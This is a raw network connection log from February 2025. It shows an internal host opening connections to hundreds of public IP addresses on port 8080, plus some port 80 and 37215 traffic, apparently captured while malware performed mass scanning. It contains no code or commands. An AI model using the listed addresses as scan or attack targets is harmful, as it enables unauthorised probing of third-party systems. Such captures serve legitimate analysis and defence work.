Feb 19, 2025 19:48:57.227591991 CET	7173	8080	192.168.2.15	94.185.249.168
Feb 19, 2025 19:48:57.227595091 CET	7173	8080	192.168.2.15	94.26.109.174
Feb 19, 2025 19:48:57.227597952 CET	7173	8080	192.168.2.15	85.195.138.29
Feb 19, 2025 19:48:57.227611065 CET	7173	8080	192.168.2.15	62.12.189.74
Feb 19, 2025 19:48:57.227617979 CET	7173	8080	192.168.2.15	85.104.243.13
Feb 19, 2025 19:48:57.227618933 CET	7173	8080	192.168.2.15	85.54.167.54
Feb 19, 2025 19:48:57.227629900 CET	7173	8080	192.168.2.15	62.76.122.125
Feb 19, 2025 19:48:57.227631092 CET	7173	8080	192.168.2.15	85.86.96.97
Feb 19, 2025 19:48:57.227633953 CET	7173	8080	192.168.2.15	95.142.98.146
Feb 19, 2025 19:48:57.227647066 CET	37215	39176	157.109.54.98	192.168.2.15
Feb 19, 2025 19:48:57.227649927 CET	7173	8080	192.168.2.15	62.78.95.251
Feb 19, 2025 19:48:57.227649927 CET	7173	8080	192.168.2.15	85.162.32.217
Feb 19, 2025 19:48:57.227663040 CET	7173	8080	192.168.2.15	31.77.134.2
Feb 19, 2025 19:48:57.227664948 CET	7173	8080	192.168.2.15	31.59.75.49
Feb 19, 2025 19:48:57.227673054 CET	7173	8080	192.168.2.15	62.50.242.213
Feb 19, 2025 19:48:57.227674961 CET	7173	8080	192.168.2.15	31.138.30.100
Feb 19, 2025 19:48:57.227679014 CET	7173	8080	192.168.2.15	62.130.231.59
Feb 19, 2025 19:48:57.227682114 CET	7173	8080	192.168.2.15	95.194.149.184
Feb 19, 2025 19:48:57.227688074 CET	7173	8080	192.168.2.15	94.43.207.157
Feb 19, 2025 19:48:57.227704048 CET	7173	8080	192.168.2.15	62.159.234.43
Feb 19, 2025 19:48:57.227709055 CET	7173	8080	192.168.2.15	62.174.192.163
Feb 19, 2025 19:48:57.227711916 CET	7173	8080	192.168.2.15	95.143.118.182
Feb 19, 2025 19:48:57.227715015 CET	7173	8080	192.168.2.15	94.17.154.195
Feb 19, 2025 19:48:57.227730989 CET	7173	8080	192.168.2.15	62.163.193.220
Feb 19, 2025 19:48:57.227745056 CET	7173	8080	192.168.2.15	85.204.81.201
Feb 19, 2025 19:48:57.227747917 CET	7173	8080	192.168.2.15	85.59.105.186
Feb 19, 2025 19:48:57.227747917 CET	7173	8080	192.168.2.15	31.39.177.181
Feb 19, 2025 19:48:57.227751970 CET	7173	8080	192.168.2.15	94.176.207.197
Feb 19, 2025 19:48:57.227765083 CET	7173	8080	192.168.2.15	95.167.235.35
Feb 19, 2025 19:48:57.227766037 CET	7173	8080	192.168.2.15	95.182.172.59
Feb 19, 2025 19:48:57.227770090 CET	80	7685	88.218.229.242	192.168.2.15
Feb 19, 2025 19:48:57.227771044 CET	7173	8080	192.168.2.15	31.180.204.198
Feb 19, 2025 19:48:57.227781057 CET	80	38094	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:57.227786064 CET	7173	8080	192.168.2.15	31.1.149.7
Feb 19, 2025 19:48:57.227788925 CET	7173	8080	192.168.2.15	95.109.249.207
Feb 19, 2025 19:48:57.227792025 CET	80	7685	88.61.165.169	192.168.2.15
Feb 19, 2025 19:48:57.227794886 CET	7173	8080	192.168.2.15	94.227.188.153
Feb 19, 2025 19:48:57.227794886 CET	7173	8080	192.168.2.15	31.5.24.87
Feb 19, 2025 19:48:57.227794886 CET	7173	8080	192.168.2.15	95.249.71.102
Feb 19, 2025 19:48:57.227797031 CET	7173	8080	192.168.2.15	85.111.36.248
Feb 19, 2025 19:48:57.227802992 CET	80	7685	88.119.78.118	192.168.2.15
Feb 19, 2025 19:48:57.227806091 CET	7685	80	192.168.2.15	88.218.229.242
Feb 19, 2025 19:48:57.227807045 CET	7173	8080	192.168.2.15	95.42.40.91
Feb 19, 2025 19:48:57.227813005 CET	37215	56166	157.18.199.7	192.168.2.15
Feb 19, 2025 19:48:57.227814913 CET	38094	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:57.227817059 CET	7685	80	192.168.2.15	88.61.165.169
Feb 19, 2025 19:48:57.227832079 CET	80	7685	88.251.169.232	192.168.2.15
Feb 19, 2025 19:48:57.227838993 CET	7685	80	192.168.2.15	88.119.78.118
Feb 19, 2025 19:48:57.227840900 CET	80	7685	88.151.216.2	192.168.2.15
Feb 19, 2025 19:48:57.227850914 CET	80	7685	88.229.248.110	192.168.2.15
Feb 19, 2025 19:48:57.227857113 CET	7173	8080	192.168.2.15	94.77.35.77
Feb 19, 2025 19:48:57.227857113 CET	7173	8080	192.168.2.15	62.225.209.20
Feb 19, 2025 19:48:57.227858067 CET	7173	8080	192.168.2.15	94.135.173.130
Feb 19, 2025 19:48:57.227858067 CET	7173	8080	192.168.2.15	62.166.173.35
Feb 19, 2025 19:48:57.227863073 CET	80	7685	88.0.86.203	192.168.2.15
Feb 19, 2025 19:48:57.227864027 CET	7685	80	192.168.2.15	88.251.169.232
Feb 19, 2025 19:48:57.227873087 CET	80	7685	88.125.88.130	192.168.2.15
Feb 19, 2025 19:48:57.227879047 CET	7685	80	192.168.2.15	88.151.216.2
Feb 19, 2025 19:48:57.227880955 CET	7173	8080	192.168.2.15	85.74.142.247
Feb 19, 2025 19:48:57.227883101 CET	80	58444	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:57.227893114 CET	7173	8080	192.168.2.15	94.98.160.195
Feb 19, 2025 19:48:57.227893114 CET	7173	8080	192.168.2.15	95.220.40.169
Feb 19, 2025 19:48:57.227893114 CET	7173	8080	192.168.2.15	95.77.180.80
Feb 19, 2025 19:48:57.227894068 CET	7685	80	192.168.2.15	88.229.248.110
Feb 19, 2025 19:48:57.227894068 CET	7173	8080	192.168.2.15	62.95.66.53
Feb 19, 2025 19:48:57.227900982 CET	7685	80	192.168.2.15	88.125.88.130
Feb 19, 2025 19:48:57.227905035 CET	7685	80	192.168.2.15	88.0.86.203
Feb 19, 2025 19:48:57.227905035 CET	58444	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:57.227919102 CET	7173	8080	192.168.2.15	31.29.183.68
Feb 19, 2025 19:48:57.227926016 CET	7173	8080	192.168.2.15	31.244.123.176
Feb 19, 2025 19:48:57.227931976 CET	7173	8080	192.168.2.15	85.183.239.31
Feb 19, 2025 19:48:57.227936983 CET	7173	8080	192.168.2.15	94.97.71.218
Feb 19, 2025 19:48:57.227947950 CET	7173	8080	192.168.2.15	94.238.177.13
Feb 19, 2025 19:48:57.227958918 CET	7173	8080	192.168.2.15	85.248.65.199
Feb 19, 2025 19:48:57.227958918 CET	7173	8080	192.168.2.15	62.124.19.13
Feb 19, 2025 19:48:57.227966070 CET	7173	8080	192.168.2.15	95.117.120.174
Feb 19, 2025 19:48:57.227976084 CET	7173	8080	192.168.2.15	62.204.16.32
Feb 19, 2025 19:48:57.227976084 CET	7173	8080	192.168.2.15	31.133.115.146
Feb 19, 2025 19:48:57.227981091 CET	7173	8080	192.168.2.15	94.59.161.52
Feb 19, 2025 19:48:57.227991104 CET	7173	8080	192.168.2.15	62.171.136.134
Feb 19, 2025 19:48:57.227999926 CET	7173	8080	192.168.2.15	94.169.249.142
Feb 19, 2025 19:48:57.228003025 CET	7173	8080	192.168.2.15	62.128.48.29
Feb 19, 2025 19:48:57.228008986 CET	7173	8080	192.168.2.15	85.232.46.224
Feb 19, 2025 19:48:57.228019953 CET	7173	8080	192.168.2.15	85.181.82.210
Feb 19, 2025 19:48:57.228023052 CET	7173	8080	192.168.2.15	85.179.106.104
Feb 19, 2025 19:48:57.228037119 CET	7173	8080	192.168.2.15	62.199.8.60
Feb 19, 2025 19:48:57.228039980 CET	7173	8080	192.168.2.15	95.82.78.221
Feb 19, 2025 19:48:57.228049994 CET	7173	8080	192.168.2.15	62.128.215.172
Feb 19, 2025 19:48:57.228055954 CET	7173	8080	192.168.2.15	94.146.161.66
Feb 19, 2025 19:48:57.228063107 CET	7173	8080	192.168.2.15	95.191.83.203
Feb 19, 2025 19:48:57.228071928 CET	7173	8080	192.168.2.15	31.236.68.192
Feb 19, 2025 19:48:57.228077888 CET	7173	8080	192.168.2.15	62.129.14.244
Feb 19, 2025 19:48:57.228077888 CET	7173	8080	192.168.2.15	85.74.110.94
Feb 19, 2025 19:48:57.228095055 CET	7173	8080	192.168.2.15	95.221.206.75
Feb 19, 2025 19:48:57.228095055 CET	7173	8080	192.168.2.15	95.228.30.205
Feb 19, 2025 19:48:57.228104115 CET	7173	8080	192.168.2.15	62.129.174.49
Feb 19, 2025 19:48:57.228112936 CET	7173	8080	192.168.2.15	31.64.84.207
Feb 19, 2025 19:48:57.228115082 CET	7173	8080	192.168.2.15	95.39.194.15
Feb 19, 2025 19:48:57.228116035 CET	7173	8080	192.168.2.15	94.85.243.138
Feb 19, 2025 19:48:57.228121042 CET	7173	8080	192.168.2.15	31.1.39.179
Feb 19, 2025 19:48:57.228133917 CET	7173	8080	192.168.2.15	85.0.166.3
Feb 19, 2025 19:48:57.228137970 CET	7173	8080	192.168.2.15	85.96.70.145
Feb 19, 2025 19:48:57.228140116 CET	7173	8080	192.168.2.15	95.20.214.68
Feb 19, 2025 19:48:57.228140116 CET	7173	8080	192.168.2.15	62.121.32.251
Feb 19, 2025 19:48:57.228156090 CET	7173	8080	192.168.2.15	62.3.225.199
Feb 19, 2025 19:48:57.228157997 CET	7173	8080	192.168.2.15	94.100.82.80
Feb 19, 2025 19:48:57.228161097 CET	7173	8080	192.168.2.15	85.51.176.36
Feb 19, 2025 19:48:57.228168964 CET	7173	8080	192.168.2.15	62.56.232.79
Feb 19, 2025 19:48:57.228176117 CET	7173	8080	192.168.2.15	62.128.24.84
Feb 19, 2025 19:48:57.228176117 CET	7173	8080	192.168.2.15	95.246.198.24
Feb 19, 2025 19:48:57.228189945 CET	7173	8080	192.168.2.15	95.184.124.136
Feb 19, 2025 19:48:57.228202105 CET	7173	8080	192.168.2.15	94.128.255.133
Feb 19, 2025 19:48:57.228214025 CET	7173	8080	192.168.2.15	31.121.101.115
Feb 19, 2025 19:48:57.228214979 CET	7173	8080	192.168.2.15	31.86.103.65
Feb 19, 2025 19:48:57.228224039 CET	7173	8080	192.168.2.15	85.242.104.138
Feb 19, 2025 19:48:57.228224039 CET	7173	8080	192.168.2.15	85.95.36.18
Feb 19, 2025 19:48:57.228235960 CET	7173	8080	192.168.2.15	31.41.190.144
Feb 19, 2025 19:48:57.228236914 CET	7173	8080	192.168.2.15	94.208.43.164
Feb 19, 2025 19:48:57.228250027 CET	7173	8080	192.168.2.15	31.61.175.165
Feb 19, 2025 19:48:57.228251934 CET	7173	8080	192.168.2.15	31.17.168.125
Feb 19, 2025 19:48:57.228255033 CET	7173	8080	192.168.2.15	94.2.22.249
Feb 19, 2025 19:48:57.228255033 CET	7173	8080	192.168.2.15	62.14.99.55
Feb 19, 2025 19:48:57.228274107 CET	7173	8080	192.168.2.15	62.210.166.212
Feb 19, 2025 19:48:57.228279114 CET	7173	8080	192.168.2.15	62.32.64.242
Feb 19, 2025 19:48:57.228279114 CET	7173	8080	192.168.2.15	85.54.67.210
Feb 19, 2025 19:48:57.228290081 CET	7173	8080	192.168.2.15	85.47.197.4
Feb 19, 2025 19:48:57.228290081 CET	7173	8080	192.168.2.15	85.184.62.61
Feb 19, 2025 19:48:57.228302002 CET	7173	8080	192.168.2.15	85.124.166.22
Feb 19, 2025 19:48:57.228302956 CET	7173	8080	192.168.2.15	62.135.115.181
Feb 19, 2025 19:48:57.228318930 CET	7173	8080	192.168.2.15	85.234.223.213
Feb 19, 2025 19:48:57.228326082 CET	7173	8080	192.168.2.15	85.229.50.187
Feb 19, 2025 19:48:57.228326082 CET	7173	8080	192.168.2.15	31.207.142.147
Feb 19, 2025 19:48:57.228333950 CET	80	41174	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:57.228343964 CET	7173	8080	192.168.2.15	31.197.23.162
Feb 19, 2025 19:48:57.228348017 CET	7173	8080	192.168.2.15	94.229.37.166
Feb 19, 2025 19:48:57.228353024 CET	7173	8080	192.168.2.15	62.154.105.82
Feb 19, 2025 19:48:57.228353024 CET	7173	8080	192.168.2.15	95.83.207.56
Feb 19, 2025 19:48:57.228359938 CET	7173	8080	192.168.2.15	95.117.181.226
Feb 19, 2025 19:48:57.228369951 CET	7173	8080	192.168.2.15	85.85.77.234
Feb 19, 2025 19:48:57.228373051 CET	41174	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:57.228374004 CET	7173	8080	192.168.2.15	31.250.240.4
Feb 19, 2025 19:48:57.228391886 CET	7173	8080	192.168.2.15	95.185.24.62
Feb 19, 2025 19:48:57.228393078 CET	7173	8080	192.168.2.15	62.182.40.229
Feb 19, 2025 19:48:57.228398085 CET	7173	8080	192.168.2.15	31.183.92.109
Feb 19, 2025 19:48:57.228403091 CET	7173	8080	192.168.2.15	95.63.19.227
Feb 19, 2025 19:48:57.228403091 CET	7173	8080	192.168.2.15	94.31.3.85
Feb 19, 2025 19:48:57.228415012 CET	7173	8080	192.168.2.15	95.136.172.16
Feb 19, 2025 19:48:57.228418112 CET	7173	8080	192.168.2.15	94.5.170.215
Feb 19, 2025 19:48:57.228426933 CET	7173	8080	192.168.2.15	85.92.68.41
Feb 19, 2025 19:48:57.228435040 CET	7173	8080	192.168.2.15	85.139.19.136
Feb 19, 2025 19:48:57.228435993 CET	7173	8080	192.168.2.15	94.1.13.126
Feb 19, 2025 19:48:57.228451014 CET	7173	8080	192.168.2.15	85.114.63.183
Feb 19, 2025 19:48:57.228452921 CET	7173	8080	192.168.2.15	31.222.191.189
Feb 19, 2025 19:48:57.228461981 CET	7173	8080	192.168.2.15	94.114.244.160
Feb 19, 2025 19:48:57.228463888 CET	7173	8080	192.168.2.15	85.29.87.34
Feb 19, 2025 19:48:57.228467941 CET	7173	8080	192.168.2.15	94.74.76.233
Feb 19, 2025 19:48:57.228480101 CET	7173	8080	192.168.2.15	31.10.214.96
Feb 19, 2025 19:48:57.228482962 CET	7173	8080	192.168.2.15	62.54.174.129
Feb 19, 2025 19:48:57.228486061 CET	7173	8080	192.168.2.15	94.247.51.12
Feb 19, 2025 19:48:57.228498936 CET	7173	8080	192.168.2.15	31.23.184.61
Feb 19, 2025 19:48:57.228503942 CET	7173	8080	192.168.2.15	94.102.118.123
Feb 19, 2025 19:48:57.228517056 CET	7173	8080	192.168.2.15	62.199.213.231
Feb 19, 2025 19:48:57.228533030 CET	7173	8080	192.168.2.15	95.44.189.249
Feb 19, 2025 19:48:57.228533030 CET	7173	8080	192.168.2.15	62.253.3.57
Feb 19, 2025 19:48:57.228559971 CET	7173	8080	192.168.2.15	95.58.148.185
Feb 19, 2025 19:48:57.228560925 CET	7173	8080	192.168.2.15	95.179.217.52
Feb 19, 2025 19:48:57.228566885 CET	7173	8080	192.168.2.15	94.104.17.92
Feb 19, 2025 19:48:57.228579998 CET	7173	8080	192.168.2.15	85.45.61.64
Feb 19, 2025 19:48:57.228579998 CET	7173	8080	192.168.2.15	85.243.254.42
Feb 19, 2025 19:48:57.228579998 CET	7173	8080	192.168.2.15	85.220.183.175
Feb 19, 2025 19:48:57.228579998 CET	7173	8080	192.168.2.15	85.31.168.78
Feb 19, 2025 19:48:57.228585005 CET	7173	8080	192.168.2.15	85.77.216.121
Feb 19, 2025 19:48:57.228591919 CET	7173	8080	192.168.2.15	31.248.219.53
Feb 19, 2025 19:48:57.228594065 CET	7173	8080	192.168.2.15	95.139.143.139
Feb 19, 2025 19:48:57.228594065 CET	7173	8080	192.168.2.15	85.187.101.164
Feb 19, 2025 19:48:57.228594065 CET	7173	8080	192.168.2.15	31.77.58.102
Feb 19, 2025 19:48:57.228594065 CET	7173	8080	192.168.2.15	31.149.209.13
Feb 19, 2025 19:48:57.228595018 CET	7173	8080	192.168.2.15	31.232.189.171
Feb 19, 2025 19:48:57.228600025 CET	7173	8080	192.168.2.15	85.183.147.68
Feb 19, 2025 19:48:57.228605032 CET	7173	8080	192.168.2.15	95.88.104.246
Feb 19, 2025 19:48:57.228605032 CET	7173	8080	192.168.2.15	95.56.151.16
Feb 19, 2025 19:48:57.228607893 CET	7173	8080	192.168.2.15	85.250.56.213
Feb 19, 2025 19:48:57.228607893 CET	7173	8080	192.168.2.15	85.29.71.207
Feb 19, 2025 19:48:57.228607893 CET	7173	8080	192.168.2.15	85.216.116.0
Feb 19, 2025 19:48:57.228614092 CET	7173	8080	192.168.2.15	94.138.46.130
Feb 19, 2025 19:48:57.228615046 CET	7173	8080	192.168.2.15	95.92.134.149
Feb 19, 2025 19:48:57.228615999 CET	7173	8080	192.168.2.15	94.189.112.237
Feb 19, 2025 19:48:57.228620052 CET	7173	8080	192.168.2.15	94.172.104.248
Feb 19, 2025 19:48:57.228622913 CET	7173	8080	192.168.2.15	85.203.127.74
Feb 19, 2025 19:48:57.228629112 CET	7173	8080	192.168.2.15	94.147.81.62
Feb 19, 2025 19:48:57.228641987 CET	7173	8080	192.168.2.15	85.157.248.128
Feb 19, 2025 19:48:57.228652954 CET	7173	8080	192.168.2.15	62.51.166.252
Feb 19, 2025 19:48:57.228653908 CET	7173	8080	192.168.2.15	95.216.18.13
Feb 19, 2025 19:48:57.228669882 CET	7173	8080	192.168.2.15	31.3.136.212
Feb 19, 2025 19:48:57.228669882 CET	7173	8080	192.168.2.15	95.56.71.148
Feb 19, 2025 19:48:57.228671074 CET	7173	8080	192.168.2.15	31.192.105.44
Feb 19, 2025 19:48:57.228687048 CET	7173	8080	192.168.2.15	62.22.170.245
Feb 19, 2025 19:48:57.228687048 CET	7173	8080	192.168.2.15	95.197.126.92
Feb 19, 2025 19:48:57.228692055 CET	7173	8080	192.168.2.15	85.175.141.186
Feb 19, 2025 19:48:57.228698969 CET	7173	8080	192.168.2.15	95.52.137.169
Feb 19, 2025 19:48:57.228702068 CET	7173	8080	192.168.2.15	85.69.212.219
Feb 19, 2025 19:48:57.228710890 CET	7173	8080	192.168.2.15	95.49.67.14
Feb 19, 2025 19:48:57.228720903 CET	7173	8080	192.168.2.15	95.131.254.150
Feb 19, 2025 19:48:57.228734970 CET	7173	8080	192.168.2.15	31.110.45.199
Feb 19, 2025 19:48:57.228735924 CET	7173	8080	192.168.2.15	94.244.39.253
Feb 19, 2025 19:48:57.228738070 CET	7173	8080	192.168.2.15	31.249.58.178
Feb 19, 2025 19:48:57.228738070 CET	7173	8080	192.168.2.15	62.63.254.12
Feb 19, 2025 19:48:57.228749037 CET	7173	8080	192.168.2.15	85.58.170.29
Feb 19, 2025 19:48:57.228760958 CET	7173	8080	192.168.2.15	62.35.93.243
Feb 19, 2025 19:48:57.228765011 CET	7173	8080	192.168.2.15	95.141.182.171
Feb 19, 2025 19:48:57.228766918 CET	7173	8080	192.168.2.15	94.181.76.121
Feb 19, 2025 19:48:57.228781939 CET	7173	8080	192.168.2.15	62.98.161.104
Feb 19, 2025 19:48:57.228784084 CET	7173	8080	192.168.2.15	85.217.254.200
Feb 19, 2025 19:48:57.228787899 CET	7173	8080	192.168.2.15	95.127.18.101
Feb 19, 2025 19:48:57.228799105 CET	7173	8080	192.168.2.15	62.24.123.184
Feb 19, 2025 19:48:57.228815079 CET	7173	8080	192.168.2.15	62.201.216.167
Feb 19, 2025 19:48:57.228815079 CET	7173	8080	192.168.2.15	62.106.145.201
Feb 19, 2025 19:48:57.228818893 CET	7173	8080	192.168.2.15	62.43.37.213
Feb 19, 2025 19:48:57.228832960 CET	7173	8080	192.168.2.15	62.104.50.96
Feb 19, 2025 19:48:57.228833914 CET	7173	8080	192.168.2.15	31.29.82.160
Feb 19, 2025 19:48:57.228833914 CET	7173	8080	192.168.2.15	95.175.55.237
Feb 19, 2025 19:48:57.228837967 CET	7173	8080	192.168.2.15	31.34.109.55
Feb 19, 2025 19:48:57.228852034 CET	7173	8080	192.168.2.15	85.191.218.225
Feb 19, 2025 19:48:57.228854895 CET	7173	8080	192.168.2.15	62.187.74.157
Feb 19, 2025 19:48:57.228868008 CET	7173	8080	192.168.2.15	94.75.142.52
Feb 19, 2025 19:48:57.228871107 CET	7173	8080	192.168.2.15	85.78.19.66
Feb 19, 2025 19:48:57.228883982 CET	7173	8080	192.168.2.15	85.70.104.212
Feb 19, 2025 19:48:57.228887081 CET	7173	8080	192.168.2.15	95.120.108.222
Feb 19, 2025 19:48:57.228899956 CET	7173	8080	192.168.2.15	95.199.208.34
Feb 19, 2025 19:48:57.228904963 CET	7173	8080	192.168.2.15	31.190.198.23
Feb 19, 2025 19:48:57.228914022 CET	7173	8080	192.168.2.15	31.85.203.197
Feb 19, 2025 19:48:57.228914976 CET	7173	8080	192.168.2.15	95.128.213.219
Feb 19, 2025 19:48:57.228914976 CET	7173	8080	192.168.2.15	95.166.229.114
Feb 19, 2025 19:48:57.228935957 CET	7173	8080	192.168.2.15	31.119.109.189
Feb 19, 2025 19:48:57.228935957 CET	7173	8080	192.168.2.15	94.26.17.161
Feb 19, 2025 19:48:57.228936911 CET	7173	8080	192.168.2.15	62.102.240.238
Feb 19, 2025 19:48:57.228936911 CET	7173	8080	192.168.2.15	85.169.187.153
Feb 19, 2025 19:48:57.228945971 CET	7173	8080	192.168.2.15	85.29.11.59
Feb 19, 2025 19:48:57.228961945 CET	7173	8080	192.168.2.15	62.10.69.224
Feb 19, 2025 19:48:57.228961945 CET	7173	8080	192.168.2.15	31.99.157.109
Feb 19, 2025 19:48:57.228967905 CET	7173	8080	192.168.2.15	31.205.101.50
Feb 19, 2025 19:48:57.228971004 CET	7173	8080	192.168.2.15	31.45.19.122
Feb 19, 2025 19:48:57.228976965 CET	7173	8080	192.168.2.15	85.223.8.235
Feb 19, 2025 19:48:57.228986979 CET	7173	8080	192.168.2.15	62.8.247.106
Feb 19, 2025 19:48:57.228995085 CET	7173	8080	192.168.2.15	94.173.39.149
Feb 19, 2025 19:48:57.229000092 CET	7173	8080	192.168.2.15	31.203.191.238
Feb 19, 2025 19:48:57.229001999 CET	7173	8080	192.168.2.15	95.72.32.135
Feb 19, 2025 19:48:57.229003906 CET	7173	8080	192.168.2.15	85.224.254.76
Feb 19, 2025 19:48:57.229017019 CET	7173	8080	192.168.2.15	95.116.78.129
Feb 19, 2025 19:48:57.229018927 CET	7173	8080	192.168.2.15	62.164.27.103
Feb 19, 2025 19:48:57.229027033 CET	7173	8080	192.168.2.15	95.241.173.153
Feb 19, 2025 19:48:57.229031086 CET	7173	8080	192.168.2.15	62.144.88.155
Feb 19, 2025 19:48:57.229036093 CET	7173	8080	192.168.2.15	85.163.181.227
Feb 19, 2025 19:48:57.229036093 CET	7173	8080	192.168.2.15	31.158.222.75
Feb 19, 2025 19:48:57.229038000 CET	7173	8080	192.168.2.15	31.213.23.51
Feb 19, 2025 19:48:57.229042053 CET	7173	8080	192.168.2.15	62.157.165.64
Feb 19, 2025 19:48:57.229053020 CET	7173	8080	192.168.2.15	95.151.152.5
Feb 19, 2025 19:48:57.229063988 CET	7173	8080	192.168.2.15	85.151.119.119
Feb 19, 2025 19:48:57.229068041 CET	7173	8080	192.168.2.15	95.128.193.154
Feb 19, 2025 19:48:57.229068995 CET	7173	8080	192.168.2.15	95.0.192.46
Feb 19, 2025 19:48:57.229074955 CET	7173	8080	192.168.2.15	95.92.174.232
Feb 19, 2025 19:48:57.229084969 CET	7173	8080	192.168.2.15	62.179.97.225
Feb 19, 2025 19:48:57.229094982 CET	7173	8080	192.168.2.15	62.29.107.7
Feb 19, 2025 19:48:57.229108095 CET	7173	8080	192.168.2.15	95.67.43.62
Feb 19, 2025 19:48:57.229110003 CET	7173	8080	192.168.2.15	94.212.10.29
Feb 19, 2025 19:48:57.229120016 CET	7173	8080	192.168.2.15	85.147.94.122
Feb 19, 2025 19:48:57.229131937 CET	7173	8080	192.168.2.15	95.86.11.218
Feb 19, 2025 19:48:57.229134083 CET	7173	8080	192.168.2.15	85.236.159.29
Feb 19, 2025 19:48:57.229141951 CET	7173	8080	192.168.2.15	85.98.153.105
Feb 19, 2025 19:48:57.229149103 CET	7173	8080	192.168.2.15	31.62.98.132
Feb 19, 2025 19:48:57.229162931 CET	7173	8080	192.168.2.15	85.226.168.78
Feb 19, 2025 19:48:57.229163885 CET	7173	8080	192.168.2.15	62.235.236.236
Feb 19, 2025 19:48:57.229167938 CET	7173	8080	192.168.2.15	85.104.14.53
Feb 19, 2025 19:48:57.229167938 CET	7173	8080	192.168.2.15	94.65.3.57
Feb 19, 2025 19:48:57.229177952 CET	7173	8080	192.168.2.15	94.242.153.187
Feb 19, 2025 19:48:57.229182005 CET	7173	8080	192.168.2.15	85.170.242.174
Feb 19, 2025 19:48:57.229192019 CET	7173	8080	192.168.2.15	31.171.199.194
Feb 19, 2025 19:48:57.229196072 CET	7173	8080	192.168.2.15	94.90.237.175
Feb 19, 2025 19:48:57.229204893 CET	7173	8080	192.168.2.15	94.182.162.5
Feb 19, 2025 19:48:57.229207993 CET	7173	8080	192.168.2.15	31.245.153.193
Feb 19, 2025 19:48:57.229223013 CET	7173	8080	192.168.2.15	85.97.72.222
Feb 19, 2025 19:48:57.229229927 CET	7173	8080	192.168.2.15	95.10.242.20
Feb 19, 2025 19:48:57.229231119 CET	7173	8080	192.168.2.15	62.79.216.20
Feb 19, 2025 19:48:57.229247093 CET	7173	8080	192.168.2.15	94.130.168.181
Feb 19, 2025 19:48:57.229249001 CET	7173	8080	192.168.2.15	95.190.173.56
Feb 19, 2025 19:48:57.229249001 CET	7173	8080	192.168.2.15	31.243.183.167
Feb 19, 2025 19:48:57.229255915 CET	7173	8080	192.168.2.15	95.172.148.129
Feb 19, 2025 19:48:57.229266882 CET	7173	8080	192.168.2.15	95.252.116.42
Feb 19, 2025 19:48:57.229268074 CET	7173	8080	192.168.2.15	31.166.231.52
Feb 19, 2025 19:48:57.229273081 CET	7173	8080	192.168.2.15	95.135.110.143
Feb 19, 2025 19:48:57.229274988 CET	7173	8080	192.168.2.15	94.26.252.253
Feb 19, 2025 19:48:57.229290962 CET	7173	8080	192.168.2.15	95.7.202.156
Feb 19, 2025 19:48:57.229290962 CET	7173	8080	192.168.2.15	62.192.106.177
Feb 19, 2025 19:48:57.229304075 CET	7173	8080	192.168.2.15	62.202.86.7
Feb 19, 2025 19:48:57.229306936 CET	7173	8080	192.168.2.15	85.30.110.26
Feb 19, 2025 19:48:57.229322910 CET	7173	8080	192.168.2.15	31.134.11.117
Feb 19, 2025 19:48:57.229322910 CET	7173	8080	192.168.2.15	62.233.39.255
Feb 19, 2025 19:48:57.229331017 CET	7173	8080	192.168.2.15	85.223.61.235
Feb 19, 2025 19:48:57.229335070 CET	7173	8080	192.168.2.15	95.4.18.44
Feb 19, 2025 19:48:57.229347944 CET	7173	8080	192.168.2.15	31.142.146.140
Feb 19, 2025 19:48:57.229351997 CET	7173	8080	192.168.2.15	62.165.90.4
Feb 19, 2025 19:48:57.229360104 CET	7173	8080	192.168.2.15	31.157.0.6
Feb 19, 2025 19:48:57.229370117 CET	7173	8080	192.168.2.15	95.231.175.11
Feb 19, 2025 19:48:57.229374886 CET	7173	8080	192.168.2.15	31.209.112.146
Feb 19, 2025 19:48:57.229382992 CET	7173	8080	192.168.2.15	94.74.69.104
Feb 19, 2025 19:48:57.229382992 CET	7173	8080	192.168.2.15	94.220.158.220
Feb 19, 2025 19:48:57.229394913 CET	7173	8080	192.168.2.15	31.136.115.174
Feb 19, 2025 19:48:57.229399920 CET	7173	8080	192.168.2.15	31.95.218.34
Feb 19, 2025 19:48:57.229404926 CET	7173	8080	192.168.2.15	62.32.149.45
Feb 19, 2025 19:48:57.229406118 CET	7173	8080	192.168.2.15	94.127.144.28
Feb 19, 2025 19:48:57.229408979 CET	7173	8080	192.168.2.15	95.223.183.9
Feb 19, 2025 19:48:57.229413033 CET	7173	8080	192.168.2.15	31.187.224.12
Feb 19, 2025 19:48:57.229419947 CET	7173	8080	192.168.2.15	62.231.93.2
Feb 19, 2025 19:48:57.229429007 CET	7173	8080	192.168.2.15	95.166.122.67
Feb 19, 2025 19:48:57.229433060 CET	7173	8080	192.168.2.15	85.123.248.21
Feb 19, 2025 19:48:57.229443073 CET	7173	8080	192.168.2.15	31.222.230.10
Feb 19, 2025 19:48:57.229445934 CET	7173	8080	192.168.2.15	62.96.251.80
Feb 19, 2025 19:48:57.229465008 CET	7173	8080	192.168.2.15	95.12.58.55
Feb 19, 2025 19:48:57.229465961 CET	7173	8080	192.168.2.15	85.158.228.244
Feb 19, 2025 19:48:57.229482889 CET	7173	8080	192.168.2.15	95.54.242.173
Feb 19, 2025 19:48:57.229484081 CET	7173	8080	192.168.2.15	62.224.105.191
Feb 19, 2025 19:48:57.229482889 CET	7173	8080	192.168.2.15	85.208.203.111
Feb 19, 2025 19:48:57.229490042 CET	7173	8080	192.168.2.15	62.17.193.149
Feb 19, 2025 19:48:57.229490042 CET	7173	8080	192.168.2.15	31.157.151.112
Feb 19, 2025 19:48:57.229494095 CET	7173	8080	192.168.2.15	85.29.219.122
Feb 19, 2025 19:48:57.229500055 CET	7173	8080	192.168.2.15	62.93.105.56
Feb 19, 2025 19:48:57.229501009 CET	7173	8080	192.168.2.15	94.168.202.136
Feb 19, 2025 19:48:57.229502916 CET	7173	8080	192.168.2.15	94.19.178.52
Feb 19, 2025 19:48:57.229511023 CET	7173	8080	192.168.2.15	94.143.61.40
Feb 19, 2025 19:48:57.229516983 CET	7173	8080	192.168.2.15	31.253.220.206
Feb 19, 2025 19:48:57.229516983 CET	7173	8080	192.168.2.15	31.57.67.23
Feb 19, 2025 19:48:57.229530096 CET	7173	8080	192.168.2.15	62.99.92.21
Feb 19, 2025 19:48:57.229532003 CET	7173	8080	192.168.2.15	62.30.208.212
